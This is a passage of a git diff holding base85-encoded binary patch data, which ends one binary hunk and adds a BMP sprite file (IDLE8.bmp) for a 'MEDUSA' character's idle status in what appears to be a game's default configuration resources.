z>^*f=B@aupZyzsddirRDfbrL`-sY9BN6yh@9^`*~o!fhiMAfdFEf#SR#LGgsAcgPxiZmyyFh)mTtob^g-zSFNL6z$WUM zYwdd9Kf(oWm8$9nB${yVLF>pHZtnmW7!rNMb7vZ_dUHbEiNV=Pr;iogJ5h2!G2*D6 zgP3QICM8qbv(SXGPg`73gqUQ)DKTdjn0ghN(DRHnjg^4g|I+zO)+n2d6WPg!_a+@o z*0a(L%L@MoI#GyI&i#xW{zhhfYsmKrWf{35YaVXmzMJO(px*m z21XY8N5CY?Tfz=caO=)q@$~d1;d~F|T+ZHGuWq)JmZ3`Cr{SKX=Y7yX)nv6PUf%Dp zxo57SXO2N|g|(Xfj>?LvOII%9Ij%`Z(|pqd^J)w63>U1A3oVo(C?dFd%jV9GuK$pA z2^TbfU^f9B6A7+996u)0$KC<1q@sMFkR&->stpvQWAEok;544U zQC)lGz`^61T9UF_E65%$o!!GYw4a?>Ad__H()li4@9&)L=w1MOKHxfb@{A*bz+vnG zRt-Kznv$VT&eUQQ8#*#}Nh+^r6e7n{(s z3}~6!>=Gj#ggBkXl9HABY0JiMzWoNAPTR6;i@J#>oCtSkQ)3fjFJHL=SV8y?S^1Qp zjzACQcj6`P-;W$UT4BjlhkO6zh_LPMo!quXQC9`4APG^DK&%$o78;fW8gOgJ?5p;f z=dIIEo=vv4&4BHB4-fX&g8w2!YEt*9yJcv29IOieGqV0aB>Yq%X%Lm5_bxCU�s|N*_4&(p4<3#+-5Y9Z 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c913142b3e5ad3eb94cb5c914413c1fe69740cab GIT binary patch literal 18462 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 